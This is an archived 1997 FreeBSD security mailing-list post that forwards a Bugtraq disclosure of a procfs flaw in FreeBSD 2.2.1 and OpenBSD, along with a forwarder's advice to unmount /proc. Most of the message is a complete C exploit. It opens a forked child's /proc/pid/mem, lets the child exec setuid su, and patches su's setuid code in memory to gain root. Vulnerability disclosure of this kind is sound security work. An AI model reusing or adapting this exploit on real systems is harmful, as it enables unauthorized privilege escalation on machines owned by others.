Date: Mon, 11 Aug 1997 23:04:40 -0400 (EDT) From: Ted Wisniewski <ted@wiz.plymouth.edu> To: freebsd-security@freebsd.org Subject: FW: procfs hole (fwd) Message-ID: <199708120304.XAA26307@wiz.plymouth.edu>
next in thread | raw e-mail | index | archive | help
I do not read this list... I want to be sure that someone was aware of this.. I have tested it myself and the only immediate cure is to not mount the /proc filesystem..... I would encourage anyone with it mounted to unmounted it (unless a patch is available to fix the problem).. Below is the original message and exploit. -----Original Message----- From: Brian Mitchell [SMTP:brian@FIREHOUSE.NET] Sent: Sunday, August 10, 1997 5:38 AM To: BUGTRAQ@NETSPACE.ORG Subject: procfs hole There is a major hole in procfs under FreeBSD 2.2.1 (2.1 is not affected, I have not tested 3.x but I believe it to be vulnerable as well) along with OpenBSD (not tested by me, but by someone else -- believe it was 2.1-RELEASE although obsd doesnt mount procfs by default like freebsd does). The problem is all proc/#/mem access is controlled by the permissions on the file. This means you can fork() open the childs mem device and then have the child execute a setuid executable. Once this is done, you can modify the setuid executables memory -- even segments that are supposed to be nonwritable can be modified. Enclosed is a simple exploit tested under FreeBSD 2.2.1 -- beware, this exploit is slow because it searches memory for a specific signature. Oh, you need to change your shell to a borneish shell too, since csh/tcsh will not work when euid != ruid (unless passed a -b script argument). BSDI is also believed to be vulnerable. Unfortunately, not only is procfs not mounted, it is not even in the GENERIC kernel. #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> u_char search_code[13] = { 0x8d, 0x05, 0x17, 0x00, 0x00, 0x00, /* leal 0x17, %eax */ 0x9a, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00}; /* lcall 7,0 */ /* just do a xor %eax, %eax and then a ret */ u_char new_code[] = { 0x31, 0xc0, 0xc3}; main(int argc, char **argv) { int pid; int fd; char buff[40]; char *user; /* might need to tweak these */ u_int offset=0x8003000; u_int offset_end = 0x8099000; if(argc < 2) { fprintf(stderr, "%s user\n", argv[0]); exit(1); } printf("Demonstration of 4.4BSD procfs hole\n"); printf("Brian Mitchell <brian@firehouse.net>\n\n"); printf("after you see \"setuid changed\", enter the pw for the user\n"); printf("\aBe warned, searching for the setuid() function takes a long time!\n"); user=argv[1]; pid = fork(); switch(pid) { case -1: perror("fork"); exit(1); case 0: /* give parent time to open /proc/pid/mem */ sleep(3); execl("/usr/bin/su", "su", user, NULL); exit(0); default: sprintf(buff, "/proc/%d/mem", pid); fd = open(buff, O_RDWR); if(fd < 0) { perror("open procmem"); wait(NULL); exit(1); } /* wait for child to execute suid program */ sleep(6); /* stop the child */ kill(pid, 17); printf("searching - please be patient...\n"); /* search for the setuid code */ while(offset != offset_end) { lseek(fd, offset, SEEK_SET); read(fd, buff, 13); if(!bcmp(buff, search_code, 13)) { lseek(fd, offset, SEEK_SET); write(fd, new_code, 3); printf("setuid changed (0x%x)\n", offset); /* sigcont child */ kill(pid, 19); wait(NULL); exit(0); } offset++; } printf("setuid not found!!\n"); kill(pid, 9); wait(NULL); exit(1); } } Brian Mitchell brian@firehouse.net "BSD code sucks. Of course, everything else sucks far more." - Theo de Raadt (OpenBSD President) -- | Ted Wisniewski INET: ted@oz.plymouth.edu | | Computer Services ted@wiz.plymouth.edu | | Plymouth State College tedw@psc.plymouth.edu | | Plymouth NH, 03264 HTTP: http://oz.plymouth.edu/~ted/ |
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?199708120304.XAA26307>